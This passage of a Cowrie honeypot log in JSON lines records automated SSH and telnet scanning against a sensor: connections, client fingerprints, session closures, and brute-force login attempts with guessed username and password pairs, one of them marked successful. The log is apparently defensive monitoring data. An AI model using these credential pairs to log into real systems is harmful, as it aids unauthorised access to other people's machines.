com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.204667Z","src_ip":"156.232.13.218","session":"bb9e6cbb5799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.533671Z","src_ip":"156.232.13.218","session":"bb9e6cbb5799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31279516220093,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.677206Z","src_ip":"62.210.97.77","session":"a05719b76c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.610327Z","src_ip":"156.232.13.218","session":"bb9e6cbb5799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44566,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f197ef50433","protocol":"telnet","message":"New connection: 134.209.8.29:44566 (159.203.135.109:23) [session: 0f197ef50433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.655864Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":56086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c312ad63e1d9","protocol":"ssh","message":"New connection: 156.232.13.218:56086 (10.17.0.5:22) [session: c312ad63e1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.678988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.712493Z","src_ip":"156.232.13.218","session":"c312ad63e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.234684228897095,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.715622Z","src_ip":"165.232.131.181","session":"c12f94c5c71c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.792351Z","src_ip":"156.232.13.218","session":"c312ad63e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.946550607681274,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:20.915590Z","src_ip":"65.60.27.33","session":"ca3f5171b888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.82323956489563,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.067373Z","src_ip":"62.210.97.77","session":"db4f90af1a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.028096437454224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.084562Z","src_ip":"165.232.131.181","session":"8a2b7e5b89d4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.121369Z","src_ip":"156.232.13.218","session":"c312ad63e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.197369Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.202603Z","src_ip":"156.232.13.218","session":"c312ad63e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.408371686935425,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:21.489591Z","src_ip":"65.60.27.33","session":"ca7617d485a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51614,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e310fa4533","protocol":"telnet","message":"New connection: 65.60.27.33:51614 (10.17.0.5:23) [session: 83e310fa4533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:22.661651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50646,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c68074e917c","protocol":"telnet","message":"New connection: 62.210.97.77:50646 (10.17.0.5:23) [session: 3c68074e917c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:24.048827Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f3a74b36bf","protocol":"telnet","message":"New connection: 62.210.97.77:50658 (10.17.0.5:23) [session: 55f3a74b36bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:24.563545Z"}
{"eventid":"cowrie.session.closed","duration":33.61765193939209,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:24.607991Z","src_ip":"62.210.97.77","session":"316026402f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"5299deec0761","protocol":"telnet","message":"New connection: 62.210.97.77:50666 (10.17.0.5:23) [session: 5299deec0761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:24.837886Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1fc3c67ad6","protocol":"telnet","message":"New connection: 62.210.97.77:50672 (10.17.0.5:23) [session: 2c1fc3c67ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:25.498229Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f89142051bc","protocol":"telnet","message":"New connection: 62.210.97.77:50674 (10.17.0.5:23) [session: 4f89142051bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:25.603792Z"}
{"eventid":"cowrie.session.closed","duration":33.68938183784485,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:27.444247Z","src_ip":"62.210.97.77","session":"0327bbb55e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.45004630088806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:31.338625Z","src_ip":"62.210.97.77","session":"bf388d2fc5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33732,"dst_ip":"10.17.0.5","dst_port":23,"session":"54119d3f2b3d","protocol":"telnet","message":"New connection: 65.60.27.33:33732 (10.17.0.5:23) [session: 54119d3f2b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:31.841284Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39764,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8ad8b96e2d","protocol":"telnet","message":"New connection: 62.210.97.77:39764 (10.17.0.5:23) [session: 9a8ad8b96e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:32.553746Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39756,"dst_ip":"10.17.0.5","dst_port":23,"session":"942163647f24","protocol":"telnet","message":"New connection: 62.210.97.77:39756 (10.17.0.5:23) [session: 942163647f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:32.620140Z"}
{"eventid":"cowrie.session.closed","duration":37.11873483657837,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:33.236352Z","src_ip":"65.60.27.33","session":"d8a53ab955c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.151028871536255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:34.110922Z","src_ip":"62.210.97.77","session":"db6bc293984d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01306128501892,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:34.114948Z","src_ip":"62.210.97.77","session":"d8df7354c064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.20904016494751,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:34.943727Z","src_ip":"165.232.131.181","session":"8bc3f442d41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"3298575bd299","protocol":"telnet","message":"New connection: 62.210.97.77:39780 (10.17.0.5:23) [session: 3298575bd299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:35.209851Z"}
{"eventid":"cowrie.session.closed","duration":32.24949932098389,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:35.484635Z","src_ip":"62.210.97.77","session":"cba0e9083d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.767266035079956,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:35.978245Z","src_ip":"62.210.97.77","session":"0426bbee9030","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448023319244385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:36.155800Z","src_ip":"62.210.97.77","session":"3e216239b3e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57791614532471,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:37.320713Z","src_ip":"62.210.97.77","session":"04a2532530b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39792,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e3a51d4d79","protocol":"telnet","message":"New connection: 62.210.97.77:39792 (10.17.0.5:23) [session: 37e3a51d4d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:38.126448Z"}
{"eventid":"cowrie.session.closed","duration":42.75309729576111,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:41.684150Z","src_ip":"38.54.119.93","session":"2a26a88d6d38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.25369620323181,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:45.038872Z","src_ip":"65.60.27.33","session":"f303ea5818c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.95755481719971,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:46.219450Z","src_ip":"134.209.8.29","session":"ac782642ca19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81c7de74491","protocol":"telnet","message":"New connection: 65.60.27.33:51602 (10.17.0.5:23) [session: f81c7de74491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:47.386519Z"}
{"eventid":"cowrie.session.closed","duration":37.991212606430054,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:48.896819Z","src_ip":"62.210.97.77","session":"7024b45517f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.160738468170166,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:49.632677Z","src_ip":"62.210.97.77","session":"35d6096eb918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69766974449158,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:50.846800Z","src_ip":"62.210.97.77","session":"eb65069c2498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69697856903076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:51.830740Z","src_ip":"62.210.97.77","session":"5008c815aba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":46916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b26ba35514fd","protocol":"ssh","message":"New connection: 187.16.96.250:46916 (10.17.0.5:22) [session: b26ba35514fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.079008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.083349Z","src_ip":"187.16.96.250","session":"b26ba35514fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.199368Z","src_ip":"187.16.96.250","session":"b26ba35514fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.52536869049072,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.241551Z","src_ip":"65.60.27.33","session":"155fbe599a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35342,"dst_ip":"159.203.135.109","dst_port":23,"session":"76ca68808b48","protocol":"telnet","message":"New connection: 134.209.8.29:35342 (159.203.135.109:23) [session: 76ca68808b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.425131Z"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123456","message":"login attempt [Ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:53.697007Z","src_ip":"187.16.96.250","session":"b26ba35514fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.348538637161255,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:54.552543Z","src_ip":"165.232.131.181","session":"2eb87b48cba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.72015929222107,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:54.639001Z","src_ip":"134.209.8.29","session":"9e912a0e4dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:54.816394Z","src_ip":"187.16.96.250","session":"b26ba35514fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a5c6e8a5a38","protocol":"telnet","message":"New connection: 62.210.97.77:52714 (10.17.0.5:23) [session: 7a5c6e8a5a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:55.211936Z"}
{"eventid":"cowrie.session.closed","duration":30.921682119369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:56.525340Z","src_ip":"62.210.97.77","session":"4f89142051bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52724,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb16e36bcd4","protocol":"telnet","message":"New connection: 62.210.97.77:52724 (10.17.0.5:23) [session: bcb16e36bcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:57.268922Z"}
{"eventid":"cowrie.session.closed","duration":34.02433180809021,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:58.073025Z","src_ip":"62.210.97.77","session":"3c68074e917c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3090e93b11","protocol":"telnet","message":"New connection: 65.60.27.33:35820 (10.17.0.5:23) [session: 9e3090e93b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:58.823811Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae957faf47f2","protocol":"telnet","message":"New connection: 165.232.131.181:51970 (10.17.0.5:23) [session: ae957faf47f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:59.549124Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90cd1d20550","protocol":"telnet","message":"New connection: 65.60.27.33:35682 (10.17.0.5:23) [session: b90cd1d20550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:59.582445Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53254,"dst_ip":"10.17.0.5","dst_port":23,"session":"47374aa4f832","protocol":"telnet","message":"New connection: 62.210.97.77:53254 (10.17.0.5:23) [session: 47374aa4f832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:59.833466Z"}
{"eventid":"cowrie.session.closed","duration":57.46603751182556,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:00.397331Z","src_ip":"134.209.8.29","session":"30984de75eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"102faeab08f1","protocol":"telnet","message":"New connection: 165.232.131.181:53926 (10.17.0.5:23) [session: 102faeab08f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:00.637452Z"}
{"eventid":"cowrie.session.closed","duration":36.49933457374573,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:01.337083Z","src_ip":"62.210.97.77","session":"5299deec0761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.955597639083862,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:01.380603Z","src_ip":"134.209.8.29","session":"76ca68808b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"110bfed03c8c","protocol":"telnet","message":"New connection: 134.209.8.29:55950 (159.203.135.109:23) [session: 110bfed03c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:02.072836Z"}
{"eventid":"cowrie.session.closed","duration":37.26294231414795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:02.760935Z","src_ip":"62.210.97.77","session":"2c1fc3c67ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.40847730636597,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:02.971932Z","src_ip":"62.210.97.77","session":"55f3a74b36bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.19310188293457,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:03.118768Z","src_ip":"134.209.8.29","session":"7777043f058f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ccb0a50484","protocol":"telnet","message":"New connection: 62.210.97.77:53262 (10.17.0.5:23) [session: c0ccb0a50484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:04.301533Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d6c8788eb1","protocol":"telnet","message":"New connection: 65.60.27.33:43286 (10.17.0.5:23) [session: 80d6c8788eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:05.055209Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":43738,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd35422e61b8","protocol":"ssh","message":"New connection: 156.232.13.218:43738 (10.17.0.5:22) [session: cd35422e61b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:38:05.545349Z"}
